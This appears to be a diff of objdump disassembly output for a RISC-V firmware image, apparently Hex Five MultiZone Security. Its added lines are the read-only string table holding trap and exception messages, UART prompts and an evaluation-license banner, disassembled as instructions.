-20405dd0:	0808                	addi	a0,sp,16
-20405dd2:	0808                	addi	a0,sp,16
-20405dd4:	0808                	addi	a0,sp,16
-20405dd6:	0808                	addi	a0,sp,16
-20405dd8:	0808                	addi	a0,sp,16
-20405dda:	0808                	addi	a0,sp,16
-20405ddc:	0808                	addi	a0,sp,16
-20405dde:	0808                	addi	a0,sp,16
-20405de0:	0808                	addi	a0,sp,16
-20405de2:	0808                	addi	a0,sp,16
-20405de4:	0808                	addi	a0,sp,16
-20405de6:	0808                	addi	a0,sp,16
-
-20405de8 <_ctype_>:
-20405de8:	2000                	fld	fs0,0(s0)
-20405dea:	2020                	fld	fs0,64(s0)
-20405dec:	2020                	fld	fs0,64(s0)
-20405dee:	2020                	fld	fs0,64(s0)
-20405df0:	2020                	fld	fs0,64(s0)
-20405df2:	2828                	fld	fa0,80(s0)
-20405df4:	2828                	fld	fa0,80(s0)
-20405df6:	2028                	fld	fa0,64(s0)
-20405df8:	2020                	fld	fs0,64(s0)
-20405dfa:	2020                	fld	fs0,64(s0)
-20405dfc:	2020                	fld	fs0,64(s0)
-20405dfe:	2020                	fld	fs0,64(s0)
-20405e00:	2020                	fld	fs0,64(s0)
-20405e02:	2020                	fld	fs0,64(s0)
-20405e04:	2020                	fld	fs0,64(s0)
-20405e06:	2020                	fld	fs0,64(s0)
-20405e08:	8820                	0x8820
-20405e0a:	1010                	addi	a2,sp,32
-20405e0c:	1010                	addi	a2,sp,32
-20405e0e:	1010                	addi	a2,sp,32
-20405e10:	1010                	addi	a2,sp,32
-20405e12:	1010                	addi	a2,sp,32
-20405e14:	1010                	addi	a2,sp,32
-20405e16:	1010                	addi	a2,sp,32
-20405e18:	0410                	addi	a2,sp,512
-20405e1a:	0404                	addi	s1,sp,512
-20405e1c:	0404                	addi	s1,sp,512
-20405e1e:	0404                	addi	s1,sp,512
-20405e20:	0404                	addi	s1,sp,512
-20405e22:	1004                	addi	s1,sp,32
-20405e24:	1010                	addi	a2,sp,32
-20405e26:	1010                	addi	a2,sp,32
-20405e28:	1010                	addi	a2,sp,32
-20405e2a:	4141                	li	sp,16
-20405e2c:	4141                	li	sp,16
-20405e2e:	4141                	li	sp,16
-20405e30:	0101                	addi	sp,sp,0
-20405e32:	0101                	addi	sp,sp,0
-20405e34:	0101                	addi	sp,sp,0
-20405e36:	0101                	addi	sp,sp,0
-20405e38:	0101                	addi	sp,sp,0
-20405e3a:	0101                	addi	sp,sp,0
-20405e3c:	0101                	addi	sp,sp,0
-20405e3e:	0101                	addi	sp,sp,0
-20405e40:	0101                	addi	sp,sp,0
-20405e42:	0101                	addi	sp,sp,0
-20405e44:	1010                	addi	a2,sp,32
-20405e46:	1010                	addi	a2,sp,32
-20405e48:	1010                	addi	a2,sp,32
-20405e4a:	4242                	lw	tp,16(sp)
-20405e4c:	4242                	lw	tp,16(sp)
-20405e4e:	4242                	lw	tp,16(sp)
-20405e50:	0202                	c.slli64	tp
-20405e52:	0202                	c.slli64	tp
-20405e54:	0202                	c.slli64	tp
-20405e56:	0202                	c.slli64	tp
-20405e58:	0202                	c.slli64	tp
-20405e5a:	0202                	c.slli64	tp
-20405e5c:	0202                	c.slli64	tp
-20405e5e:	0202                	c.slli64	tp
-20405e60:	0202                	c.slli64	tp
-20405e62:	0202                	c.slli64	tp
-20405e64:	1010                	addi	a2,sp,32
-20405e66:	1010                	addi	a2,sp,32
-20405e68:	0020                	addi	s0,sp,8
+20403bf8 <__sf_fake_stderr-0x834>:
+20403bf8:	6e49                	lui	t3,0x12
+20403bfa:	75727473          	csrrci	s0,0x757,4
+20403bfe:	6f697463          	bgeu	s2,s6,204042e6 <_exit+0x6f4>
+20403c02:	206e                	fld	ft0,216(sp)
+20403c04:	6461                	lui	s0,0x18
+20403c06:	7264                	flw	fs1,100(a2)
+20403c08:	7365                	lui	t1,0xffff9
+20403c0a:	696d2073          	csrs	0x696,s10
+20403c0e:	6c617373          	csrrci	t1,0x6c6,2
+20403c12:	6769                	lui	a4,0x1a
+20403c14:	656e                	flw	fa0,216(sp)
+20403c16:	2064                	fld	fs1,192(s0)
+20403c18:	203a                	fld	ft0,392(sp)
+20403c1a:	7830                	flw	fa2,112(s0)
+20403c1c:	3025                	jal	20403444 <_vfiprintf_r+0x1c2>
+20403c1e:	7838                	flw	fa4,112(s0)
+20403c20:	3020                	fld	fs0,96(s0)
+20403c22:	2578                	fld	fa4,200(a0)
+20403c24:	3830                	fld	fa2,112(s0)
+20403c26:	2078                	fld	fa4,192(s0)
+20403c28:	7830                	flw	fa2,112(s0)
+20403c2a:	3025                	jal	20403452 <_vfiprintf_r+0x1d0>
+20403c2c:	7838                	flw	fa4,112(s0)
+20403c2e:	0a20                	addi	s0,sp,280
+20403c30:	0000                	unimp
+20403c32:	0000                	unimp
+20403c34:	6e49                	lui	t3,0x12
+20403c36:	75727473          	csrrci	s0,0x757,4
+20403c3a:	6f697463          	bgeu	s2,s6,20404322 <_exit+0x730>
+20403c3e:	206e                	fld	ft0,216(sp)
+20403c40:	6361                	lui	t1,0x18
+20403c42:	73736563          	bltu	t1,s7,2040436c <_exit+0x77a>
+20403c46:	6620                	flw	fs0,72(a2)
+20403c48:	7561                	lui	a0,0xffff8
+20403c4a:	746c                	flw	fa1,108(s0)
+20403c4c:	3a20                	fld	fs0,112(a2)
+20403c4e:	3020                	fld	fs0,96(s0)
+20403c50:	2578                	fld	fa4,200(a0)
+20403c52:	3830                	fld	fa2,112(s0)
+20403c54:	2078                	fld	fa4,192(s0)
+20403c56:	7830                	flw	fa2,112(s0)
+20403c58:	3025                	jal	20403480 <_vfiprintf_r+0x1fe>
+20403c5a:	7838                	flw	fa4,112(s0)
+20403c5c:	3020                	fld	fs0,96(s0)
+20403c5e:	2578                	fld	fa4,200(a0)
+20403c60:	3830                	fld	fa2,112(s0)
+20403c62:	2078                	fld	fa4,192(s0)
+20403c64:	000a                	c.slli	zero,0x2
+20403c66:	0000                	unimp
+20403c68:	6c49                	lui	s8,0x12
+20403c6a:	656c                	flw	fa1,76(a0)
+20403c6c:	206c6167          	0x206c6167
+20403c70:	6e69                	lui	t3,0x1a
+20403c72:	75727473          	csrrci	s0,0x757,4
+20403c76:	6f697463          	bgeu	s2,s6,2040435e <_exit+0x76c>
+20403c7a:	206e                	fld	ft0,216(sp)
+20403c7c:	203a                	fld	ft0,392(sp)
+20403c7e:	7830                	flw	fa2,112(s0)
+20403c80:	3025                	jal	204034a8 <_vfiprintf_r+0x226>
+20403c82:	7838                	flw	fa4,112(s0)
+20403c84:	3020                	fld	fs0,96(s0)
+20403c86:	2578                	fld	fa4,200(a0)
+20403c88:	3830                	fld	fa2,112(s0)
+20403c8a:	2078                	fld	fa4,192(s0)
+20403c8c:	7830                	flw	fa2,112(s0)
+20403c8e:	3025                	jal	204034b6 <_vfiprintf_r+0x234>
+20403c90:	7838                	flw	fa4,112(s0)
+20403c92:	0a20                	addi	s0,sp,280
+20403c94:	0000                	unimp
+20403c96:	0000                	unimp
+20403c98:	7242                	flw	ft4,48(sp)
+20403c9a:	6165                	addi	sp,sp,112
+20403c9c:	696f706b          	0x696f706b
+20403ca0:	746e                	flw	fs0,248(sp)
+20403ca2:	3a20                	fld	fs0,112(a2)
+20403ca4:	3020                	fld	fs0,96(s0)
+20403ca6:	2578                	fld	fa4,200(a0)
+20403ca8:	3830                	fld	fa2,112(s0)
+20403caa:	2078                	fld	fa4,192(s0)
+20403cac:	7830                	flw	fa2,112(s0)
+20403cae:	3025                	jal	204034d6 <_vfiprintf_r+0x254>
+20403cb0:	7838                	flw	fa4,112(s0)
+20403cb2:	3020                	fld	fs0,96(s0)
+20403cb4:	2578                	fld	fa4,200(a0)
+20403cb6:	3830                	fld	fa2,112(s0)
+20403cb8:	2078                	fld	fa4,192(s0)
+20403cba:	000a                	c.slli	zero,0x2
+20403cbc:	6f4c                	flw	fa1,28(a4)
+20403cbe:	6461                	lui	s0,0x18
+20403cc0:	6120                	flw	fs0,64(a0)
+20403cc2:	6464                	flw	fs1,76(s0)
+20403cc4:	6572                	flw	fa0,28(sp)
+20403cc6:	6d207373          	csrrci	t1,0x6d2,0
+20403cca:	7369                	lui	t1,0xffffa
+20403ccc:	696c6173          	csrrsi	sp,0x696,24
+20403cd0:	64656e67          	0x64656e67
+20403cd4:	3a20                	fld	fs0,112(a2)
+20403cd6:	3020                	fld	fs0,96(s0)
+20403cd8:	2578                	fld	fa4,200(a0)
+20403cda:	3830                	fld	fa2,112(s0)
+20403cdc:	2078                	fld	fa4,192(s0)
+20403cde:	7830                	flw	fa2,112(s0)
+20403ce0:	3025                	jal	20403508 <_vfiprintf_r+0x286>
+20403ce2:	7838                	flw	fa4,112(s0)
+20403ce4:	3020                	fld	fs0,96(s0)
+20403ce6:	2578                	fld	fa4,200(a0)
+20403ce8:	3830                	fld	fa2,112(s0)
+20403cea:	2078                	fld	fa4,192(s0)
+20403cec:	000a                	c.slli	zero,0x2
+20403cee:	0000                	unimp
+20403cf0:	6f4c                	flw	fa1,28(a4)
+20403cf2:	6461                	lui	s0,0x18
+20403cf4:	6120                	flw	fs0,64(a0)
+20403cf6:	73656363          	bltu	a0,s6,2040441c <_exit+0x82a>
+20403cfa:	61662073          	csrs	0x616,a2
+20403cfe:	6c75                	lui	s8,0x1d
+20403d00:	2074                	fld	fa3,192(s0)
+20403d02:	203a                	fld	ft0,392(sp)
+20403d04:	7830                	flw	fa2,112(s0)
+20403d06:	3025                	jal	2040352e <_open_r+0x14>
+20403d08:	7838                	flw	fa4,112(s0)
+20403d0a:	3020                	fld	fs0,96(s0)
+20403d0c:	2578                	fld	fa4,200(a0)
+20403d0e:	3830                	fld	fa2,112(s0)
+20403d10:	2078                	fld	fa4,192(s0)
+20403d12:	7830                	flw	fa2,112(s0)
+20403d14:	3025                	jal	2040353c <_open_r+0x22>
+20403d16:	7838                	flw	fa4,112(s0)
+20403d18:	0a20                	addi	s0,sp,280
+20403d1a:	0000                	unimp
+20403d1c:	726f7453          	0x726f7453
+20403d20:	2f65                	jal	204044d8 <__sf_fake_stdout+0x6c>
+20403d22:	4d41                	li	s10,16
+20403d24:	6461204f          	0x6461204f
+20403d28:	7264                	flw	fs1,100(a2)
+20403d2a:	7365                	lui	t1,0xffff9
+20403d2c:	696d2073          	csrs	0x696,s10
+20403d30:	6c617373          	csrrci	t1,0x6c6,2
+20403d34:	6769                	lui	a4,0x1a
+20403d36:	656e                	flw	fa0,216(sp)
+20403d38:	2064                	fld	fs1,192(s0)
+20403d3a:	203a                	fld	ft0,392(sp)
+20403d3c:	7830                	flw	fa2,112(s0)
+20403d3e:	3025                	jal	20403566 <_read_r+0x20>
+20403d40:	7838                	flw	fa4,112(s0)
+20403d42:	3020                	fld	fs0,96(s0)
+20403d44:	2578                	fld	fa4,200(a0)
+20403d46:	3830                	fld	fa2,112(s0)
+20403d48:	2078                	fld	fa4,192(s0)
+20403d4a:	7830                	flw	fa2,112(s0)
+20403d4c:	3025                	jal	20403574 <__sread+0x2>
+20403d4e:	7838                	flw	fa4,112(s0)
+20403d50:	0a20                	addi	s0,sp,280
+20403d52:	0000                	unimp
+20403d54:	726f7453          	0x726f7453
+20403d58:	2065                	jal	20403e00 <_exit+0x20e>
+20403d5a:	6361                	lui	t1,0x18
+20403d5c:	73736563          	bltu	t1,s7,20404486 <__sf_fake_stdout+0x1a>
+20403d60:	6620                	flw	fs0,72(a2)
+20403d62:	7561                	lui	a0,0xffff8
+20403d64:	746c                	flw	fa1,108(s0)
+20403d66:	3a20                	fld	fs0,112(a2)
+20403d68:	3020                	fld	fs0,96(s0)
+20403d6a:	2578                	fld	fa4,200(a0)
+20403d6c:	3830                	fld	fa2,112(s0)
+20403d6e:	2078                	fld	fa4,192(s0)
+20403d70:	7830                	flw	fa2,112(s0)
+20403d72:	3025                	jal	2040359a <__sread+0x28>
+20403d74:	7838                	flw	fa4,112(s0)
+20403d76:	3020                	fld	fs0,96(s0)
+20403d78:	2578                	fld	fa4,200(a0)
+20403d7a:	3830                	fld	fa2,112(s0)
+20403d7c:	2078                	fld	fa4,192(s0)
+20403d7e:	000a                	c.slli	zero,0x2
+20403d80:	6e45                	lui	t3,0x11
+20403d82:	6976                	flw	fs2,92(sp)
+20403d84:	6f72                	flw	ft10,28(sp)
+20403d86:	6d6e                	flw	fs10,216(sp)
+20403d88:	6e65                	lui	t3,0x19
+20403d8a:	2074                	fld	fa3,192(s0)
+20403d8c:	6c6c6163          	bltu	s8,t1,2040444e <__sf_fake_stdin+0x2>
+20403d90:	6620                	flw	fs0,72(a2)
+20403d92:	6f72                	flw	ft10,28(sp)
+20403d94:	206d                	jal	20403e3e <_exit+0x24c>
+20403d96:	2d55                	jal	2040444a <__sf_fake_stderr+0x1e>
+20403d98:	6f6d                	lui	t5,0x1b
+20403d9a:	6564                	flw	fs1,76(a0)
+20403d9c:	3a20                	fld	fs0,112(a2)
+20403d9e:	3020                	fld	fs0,96(s0)
+20403da0:	2578                	fld	fa4,200(a0)
+20403da2:	3830                	fld	fa2,112(s0)
+20403da4:	2078                	fld	fa4,192(s0)
+20403da6:	7830                	flw	fa2,112(s0)
+20403da8:	3025                	jal	204035d0 <__swrite+0x2e>
+20403daa:	7838                	flw	fa4,112(s0)
+20403dac:	3020                	fld	fs0,96(s0)
+20403dae:	2578                	fld	fa4,200(a0)
+20403db0:	3830                	fld	fa2,112(s0)
+20403db2:	2078                	fld	fa4,192(s0)
+20403db4:	000a                	c.slli	zero,0x2
+20403db6:	0000                	unimp
+20403db8:	6e45                	lui	t3,0x11
+20403dba:	6976                	flw	fs2,92(sp)
+20403dbc:	6f72                	flw	ft10,28(sp)
+20403dbe:	6d6e                	flw	fs10,216(sp)
+20403dc0:	6e65                	lui	t3,0x19
+20403dc2:	2074                	fld	fa3,192(s0)
+20403dc4:	6c6c6163          	bltu	s8,t1,20404486 <__sf_fake_stdout+0x1a>
+20403dc8:	6620                	flw	fs0,72(a2)
+20403dca:	6f72                	flw	ft10,28(sp)
+20403dcc:	206d                	jal	20403e76 <_exit+0x284>
+20403dce:	6f6d2d53          	0x6f6d2d53
+20403dd2:	6564                	flw	fs1,76(a0)
+20403dd4:	3a20                	fld	fs0,112(a2)
+20403dd6:	3020                	fld	fs0,96(s0)
+20403dd8:	2578                	fld	fa4,200(a0)
+20403dda:	3830                	fld	fa2,112(s0)
+20403ddc:	2078                	fld	fa4,192(s0)
+20403dde:	7830                	flw	fa2,112(s0)
+20403de0:	3025                	jal	20403608 <__sseek+0x16>
+20403de2:	7838                	flw	fa4,112(s0)
+20403de4:	3020                	fld	fs0,96(s0)
+20403de6:	2578                	fld	fa4,200(a0)
+20403de8:	3830                	fld	fa2,112(s0)
+20403dea:	2078                	fld	fa4,192(s0)
+20403dec:	000a                	c.slli	zero,0x2
+20403dee:	0000                	unimp
+20403df0:	6e45                	lui	t3,0x11
+20403df2:	6976                	flw	fs2,92(sp)
+20403df4:	6f72                	flw	ft10,28(sp)
+20403df6:	6d6e                	flw	fs10,216(sp)
+20403df8:	6e65                	lui	t3,0x19
+20403dfa:	2074                	fld	fa3,192(s0)
+20403dfc:	6c6c6163          	bltu	s8,t1,204044be <__sf_fake_stdout+0x52>
+20403e00:	6620                	flw	fs0,72(a2)
+20403e02:	6f72                	flw	ft10,28(sp)
+20403e04:	206d                	jal	20403eae <_exit+0x2bc>
+20403e06:	2d4d                	jal	204044b8 <__sf_fake_stdout+0x4c>
+20403e08:	6f6d                	lui	t5,0x1b
+20403e0a:	6564                	flw	fs1,76(a0)
+20403e0c:	3a20                	fld	fs0,112(a2)
+20403e0e:	3020                	fld	fs0,96(s0)
+20403e10:	2578                	fld	fa4,200(a0)
+20403e12:	3830                	fld	fa2,112(s0)
+20403e14:	2078                	fld	fa4,192(s0)
+20403e16:	7830                	flw	fa2,112(s0)
+20403e18:	3025                	jal	20403640 <strchr+0x12>
+20403e1a:	7838                	flw	fa4,112(s0)
+20403e1c:	3020                	fld	fs0,96(s0)
+20403e1e:	2578                	fld	fa4,200(a0)
+20403e20:	3830                	fld	fa2,112(s0)
+20403e22:	2078                	fld	fa4,192(s0)
+20403e24:	000a                	c.slli	zero,0x2
+20403e26:	0000                	unimp
+20403e28:	5b1b371b          	0x5b1b371b
+20403e2c:	4b32                	lw	s6,12(sp)
+20403e2e:	0000                	unimp
+20403e30:	440d                	li	s0,3
+20403e32:	414d                	li	sp,19
+20403e34:	7420                	flw	fs0,104(s0)
+20403e36:	6172                	flw	ft2,28(sp)
+20403e38:	736e                	flw	ft6,248(sp)
+20403e3a:	6566                	flw	fa0,88(sp)
+20403e3c:	2072                	fld	ft0,280(sp)
+20403e3e:	706d6f63          	bltu	s10,t1,2040455c <_data_lma+0x3c>
+20403e42:	656c                	flw	fa1,76(a0)
+20403e44:	6574                	flw	fa3,76(a0)
+20403e46:	0a20                	addi	s0,sp,280
+20403e48:	0000                	unimp
+20403e4a:	0000                	unimp
+20403e4c:	72756f73          	csrrsi	t5,0x727,10
+20403e50:	3a206563          	bltu	zero,sp,204041fa <_exit+0x608>
+20403e54:	3020                	fld	fs0,96(s0)
+20403e56:	2578                	fld	fa4,200(a0)
+20403e58:	3830                	fld	fa2,112(s0)
+20403e5a:	2078                	fld	fa4,192(s0)
+20403e5c:	000a                	c.slli	zero,0x2
+20403e5e:	0000                	unimp
+20403e60:	6564                	flw	fs1,76(a0)
+20403e62:	20207473          	csrrci	s0,hedeleg,0
+20403e66:	3a20                	fld	fs0,112(a2)
+20403e68:	3020                	fld	fs0,96(s0)
+20403e6a:	2578                	fld	fa4,200(a0)
+20403e6c:	3830                	fld	fa2,112(s0)
+20403e6e:	2078                	fld	fa4,192(s0)
+20403e70:	000a                	c.slli	zero,0x2
+20403e72:	0000                	unimp
+20403e74:	657a6973          	csrrsi	s2,0x657,20
+20403e78:	2020                	fld	fs0,64(s0)
+20403e7a:	3a20                	fld	fs0,112(a2)
+20403e7c:	3020                	fld	fs0,96(s0)
+20403e7e:	2578                	fld	fa4,200(a0)
+20403e80:	3830                	fld	fa2,112(s0)
+20403e82:	2078                	fld	fa4,192(s0)
+20403e84:	000a                	c.slli	zero,0x2
+20403e86:	0000                	unimp
+20403e88:	5b1b381b          	0x5b1b381b
+20403e8c:	4234                	lw	a3,64(a2)
+20403e8e:	0000                	unimp
+20403e90:	4d0d                	li	s10,3
+20403e92:	6361                	lui	t1,0x18
+20403e94:	6968                	flw	fa0,84(a0)
+20403e96:	656e                	flw	fa0,216(sp)
+20403e98:	7420                	flw	fs0,104(s0)
+20403e9a:	6d69                	lui	s10,0x1a
+20403e9c:	7265                	lui	tp,0xffff9
+20403e9e:	6920                	flw	fs0,80(a0)
+20403ea0:	746e                	flw	fs0,248(sp)
+20403ea2:	7265                	lui	tp,0xffff9
+20403ea4:	7572                	flw	fa0,60(sp)
+20403ea6:	7470                	flw	fa2,108(s0)
+20403ea8:	3a20                	fld	fs0,112(a2)
+20403eaa:	3020                	fld	fs0,96(s0)
+20403eac:	2578                	fld	fa4,200(a0)
+20403eae:	3830                	fld	fa2,112(s0)
+20403eb0:	2078                	fld	fa4,192(s0)
+20403eb2:	7830                	flw	fa2,112(s0)
+20403eb4:	3025                	jal	204036dc <__swbuf_r+0x94>
+20403eb6:	7838                	flw	fa4,112(s0)
+20403eb8:	3020                	fld	fs0,96(s0)
+20403eba:	2578                	fld	fa4,200(a0)
+20403ebc:	3830                	fld	fa2,112(s0)
+20403ebe:	2078                	fld	fa4,192(s0)
+20403ec0:	000a                	c.slli	zero,0x2
+20403ec2:	0000                	unimp
+20403ec4:	5a0a                	lw	s4,160(sp)
+20403ec6:	2032                	fld	ft0,264(sp)
+20403ec8:	203e                	fld	ft0,456(sp)
+20403eca:	7325                	lui	t1,0xfffe9
+20403ecc:	0000                	unimp
+20403ece:	0000                	unimp
+20403ed0:	5b1b381b          	0x5b1b381b
+20403ed4:	4232                	lw	tp,12(sp)
+20403ed6:	0000                	unimp
+20403ed8:	7845                	lui	a6,0xffff1
+20403eda:	74706563          	bltu	zero,t2,20404624 <_data_lma+0x104>
+20403ede:	6f69                	lui	t5,0x1a
+20403ee0:	206e                	fld	ft0,216(sp)
+20403ee2:	203a                	fld	ft0,392(sp)
+20403ee4:	7830                	flw	fa2,112(s0)
+20403ee6:	3025                	jal	2040370e <__swsetup_r+0x4>
+20403ee8:	7838                	flw	fa4,112(s0)
+20403eea:	3020                	fld	fs0,96(s0)
+20403eec:	2578                	fld	fa4,200(a0)
+20403eee:	3830                	fld	fa2,112(s0)
+20403ef0:	2078                	fld	fa4,192(s0)
+20403ef2:	7830                	flw	fa2,112(s0)
+20403ef4:	3025                	jal	2040371c <__swsetup_r+0x12>
+20403ef6:	7838                	flw	fa4,112(s0)
+20403ef8:	0a20                	addi	s0,sp,280
+20403efa:	0000                	unimp
+20403efc:	7250                	flw	fa2,36(a2)
+20403efe:	7365                	lui	t1,0xffff9
+20403f00:	6e612073          	csrs	0x6e6,sp
+20403f04:	2079                	jal	20403f92 <_exit+0x3a0>
+20403f06:	2079656b          	0x2079656b
+20403f0a:	6f74                	flw	fa3,92(a4)
+20403f0c:	7220                	flw	fs0,96(a2)
+20403f0e:	7365                	lui	t1,0xffff9
+20403f10:	6174                	flw	fa3,68(a0)
+20403f12:	7472                	flw	fs0,60(sp)
+20403f14:	0a20                	addi	s0,sp,280
+20403f16:	0000                	unimp
+20403f18:	dbbc                	sw	a5,112(a5)
+20403f1a:	ffff                	0xffff
+20403f1c:	dbee                	sw	s11,244(sp)
+20403f1e:	ffff                	0xffff
+20403f20:	dbfc                	sw	a5,116(a5)
+20403f22:	ffff                	0xffff
+20403f24:	dc0a                	sw	sp,56(sp)
+20403f26:	ffff                	0xffff
+20403f28:	dc18                	sw	a4,56(s0)
+20403f2a:	ffff                	0xffff
+20403f2c:	dc64                	sw	s1,124(s0)
+20403f2e:	ffff                	0xffff
+20403f30:	dc78                	sw	a4,124(s0)
+20403f32:	ffff                	0xffff
+20403f34:	dc9c                	sw	a5,56(s1)
+20403f36:	ffff                	0xffff
+20403f38:	dcaa                	sw	a0,120(sp)
+20403f3a:	ffff                	0xffff
+20403f3c:	dcb8                	sw	a4,120(s1)
+20403f3e:	ffff                	0xffff
+20403f40:	dbae                	sw	a1,244(sp)
+20403f42:	ffff                	0xffff
+20403f44:	dcc6                	sw	a7,120(sp)
+20403f46:	ffff                	0xffff
+20403f48:	4155                	li	sp,21
+20403f4a:	5452                	lw	s0,52(sp)
+20403f4c:	0000                	unimp
+20403f4e:	0000                	unimp
+20403f50:	4a325b1b          	0x4a325b1b
+20403f54:	00485b1b          	0x485b1b
+20403f58:	3d3d                	jal	20403d96 <_exit+0x1a4>
+20403f5a:	3d3d                	jal	20403d98 <_exit+0x1a6>
+20403f5c:	3d3d                	jal	20403d9a <_exit+0x1a8>
+20403f5e:	3d3d                	jal	20403d9c <_exit+0x1aa>
+20403f60:	3d3d                	jal	20403d9e <_exit+0x1ac>
+20403f62:	3d3d                	jal	20403da0 <_exit+0x1ae>
+20403f64:	3d3d                	jal	20403da2 <_exit+0x1b0>
+20403f66:	3d3d                	jal	20403da4 <_exit+0x1b2>
+20403f68:	3d3d                	jal	20403da6 <_exit+0x1b4>
+20403f6a:	3d3d                	jal	20403da8 <_exit+0x1b6>
+20403f6c:	3d3d                	jal	20403daa <_exit+0x1b8>
+20403f6e:	3d3d                	jal	20403dac <_exit+0x1ba>
+20403f70:	3d3d                	jal	20403dae <_exit+0x1bc>
+20403f72:	3d3d                	jal	20403db0 <_exit+0x1be>
+20403f74:	3d3d                	jal	20403db2 <_exit+0x1c0>
+20403f76:	3d3d                	jal	20403db4 <_exit+0x1c2>
+20403f78:	3d3d                	jal	20403db6 <_exit+0x1c4>
+20403f7a:	3d3d                	jal	20403db8 <_exit+0x1c6>
+20403f7c:	3d3d                	jal	20403dba <_exit+0x1c8>
+20403f7e:	3d3d                	jal	20403dbc <_exit+0x1ca>
+20403f80:	3d3d                	jal	20403dbe <_exit+0x1cc>
+20403f82:	3d3d                	jal	20403dc0 <_exit+0x1ce>
+20403f84:	3d3d                	jal	20403dc2 <_exit+0x1d0>
+20403f86:	3d3d                	jal	20403dc4 <_exit+0x1d2>
+20403f88:	3d3d                	jal	20403dc6 <_exit+0x1d4>
+20403f8a:	3d3d                	jal	20403dc8 <_exit+0x1d6>
+20403f8c:	3d3d                	jal	20403dca <_exit+0x1d8>
+20403f8e:	3d3d                	jal	20403dcc <_exit+0x1da>
+20403f90:	3d3d                	jal	20403dce <_exit+0x1dc>
+20403f92:	3d3d                	jal	20403dd0 <_exit+0x1de>
+20403f94:	3d3d                	jal	20403dd2 <_exit+0x1e0>
+20403f96:	3d3d                	jal	20403dd4 <_exit+0x1e2>
+20403f98:	3d3d                	jal	20403dd6 <_exit+0x1e4>
+20403f9a:	3d3d                	jal	20403dd8 <_exit+0x1e6>
+20403f9c:	0a3d                	addi	s4,s4,15
+20403f9e:	0000                	unimp
+20403fa0:	2020                	fld	fs0,64(s0)
+20403fa2:	2020                	fld	fs0,64(s0)
+20403fa4:	2020                	fld	fs0,64(s0)
+20403fa6:	2009                	jal	20403fa8 <_exit+0x3b6>
+20403fa8:	2020                	fld	fs0,64(s0)
+20403faa:	2020                	fld	fs0,64(s0)
+20403fac:	2020                	fld	fs0,64(s0)
+20403fae:	2020                	fld	fs0,64(s0)
+20403fb0:	2020                	fld	fs0,64(s0)
+20403fb2:	2020                	fld	fs0,64(s0)
+20403fb4:	6548                	flw	fa0,12(a0)
+20403fb6:	2078                	fld	fa4,192(s0)
+20403fb8:	6946                	flw	fs2,80(sp)
+20403fba:	6576                	flw	fa0,92(sp)
+20403fbc:	4d20                	lw	s0,88(a0)
+20403fbe:	6c75                	lui	s8,0x1d
+20403fc0:	6974                	flw	fa3,84(a0)
+20403fc2:	6f5a                	flw	ft10,148(sp)
+20403fc4:	656e                	flw	fa0,216(sp)
+20403fc6:	aec2                	fsd	fa6,344(sp)
+20403fc8:	5320                	lw	s0,96(a4)
+20403fca:	6365                	lui	t1,0x19
+20403fcc:	7275                	lui	tp,0xffffd
+20403fce:	7469                	lui	s0,0xffffa
+20403fd0:	2079                	jal	2040405e <_exit+0x46c>
+20403fd2:	2020                	fld	fs0,64(s0)
+20403fd4:	2020                	fld	fs0,64(s0)
+20403fd6:	2020                	fld	fs0,64(s0)
+20403fd8:	2020                	fld	fs0,64(s0)
+20403fda:	2020                	fld	fs0,64(s0)
+20403fdc:	2020                	fld	fs0,64(s0)
+20403fde:	2020                	fld	fs0,64(s0)
+20403fe0:	2020                	fld	fs0,64(s0)
+20403fe2:	2020                	fld	fs0,64(s0)
+20403fe4:	0a20                	addi	s0,sp,280
+20403fe6:	0000                	unimp
+20403fe8:	2020                	fld	fs0,64(s0)
+20403fea:	2020                	fld	fs0,64(s0)
+20403fec:	79706f43          	fmadd.s	ft10,ft0,fs7,fa5,unknown
+20403ff0:	6972                	flw	fs2,28(sp)
+20403ff2:	c2746867          	0xc2746867
+20403ff6:	20a9                	jal	20404040 <_exit+0x44e>
+20403ff8:	3032                	fld	ft0,296(sp)
+20403ffa:	3032                	fld	ft0,296(sp)
+20403ffc:	4820                	lw	s0,80(s0)
+20403ffe:	7865                	lui	a6,0xffff9
+20404000:	4620                	lw	s0,72(a2)
+20404002:	7669                	lui	a2,0xffffa
+20404004:	2065                	jal	204040ac <_exit+0x4ba>
+20404006:	75636553          	0x75636553
+2040400a:	6972                	flw	fs2,28(sp)
+2040400c:	7974                	flw	fa3,116(a0)
+2040400e:	202c                	fld	fa1,64(s0)
+20404010:	6e49                	lui	t3,0x12
+20404012:	2d202e63          	0x2d202e63
+20404016:	4120                	lw	s0,64(a0)
+20404018:	6c6c                	flw	fa1,92(s0)
+2040401a:	5220                	lw	s0,96(a2)
+2040401c:	6769                	lui	a4,0x1a
+2040401e:	7468                	flw	fa0,108(s0)
+20404020:	65522073          	csrs	0x655,tp
+20404024:	76726573          	csrrsi	a0,0x767,4
+20404028:	6465                	lui	s0,0x19
+2040402a:	2020                	fld	fs0,64(s0)
+2040402c:	2020                	fld	fs0,64(s0)
+2040402e:	000a                	c.slli	zero,0x2
+20404030:	6854                	flw	fa3,20(s0)
+20404032:	7369                	lui	t1,0xffffa
+20404034:	7620                	flw	fs0,104(a2)
+20404036:	7265                	lui	tp,0xffff9
+20404038:	6e6f6973          	csrrsi	s2,0x6e6,30
+2040403c:	6f20                	flw	fs0,88(a4)
+2040403e:	2066                	fld	ft0,88(sp)
+20404040:	754d                	lui	a0,0xffff3
+20404042:	746c                	flw	fa1,108(s0)
+20404044:	5a69                	li	s4,-6
+20404046:	c2656e6f          	jal	t3,2035a46c <__stack_size+0x20359c6c>
+2040404a:	20ae                	fld	ft1,200(sp)
+2040404c:	75636553          	0x75636553
+20404050:	6972                	flw	fs2,28(sp)
+20404052:	7974                	flw	fa3,116(a0)
+20404054:	6920                	flw	fs0,80(a0)
+20404056:	656d2073          	csrs	0x656,s10
+2040405a:	6e61                	lui	t3,0x18
+2040405c:	2074                	fld	fa3,192(s0)
+2040405e:	6f66                	flw	ft10,88(sp)
+20404060:	2072                	fld	ft0,280(sp)
+20404062:	7665                	lui	a2,0xffff9
+20404064:	6c61                	lui	s8,0x18
+20404066:	6175                	addi	sp,sp,368
+20404068:	6974                	flw	fa3,84(a0)
+2040406a:	70206e6f          	jal	t3,2040a76c <_data_lma+0x624c>
+2040406e:	7275                	lui	tp,0xffffd
+20404070:	6f70                	flw	fa2,92(a4)
+20404072:	20736573          	csrrsi	a0,0x207,6
+20404076:	000a                	c.slli	zero,0x2
+20404078:	796c6e6f          	jal	t3,204ca80e <_data_lma+0xc62ee>
+2040407c:	202e                	fld	ft0,200(sp)
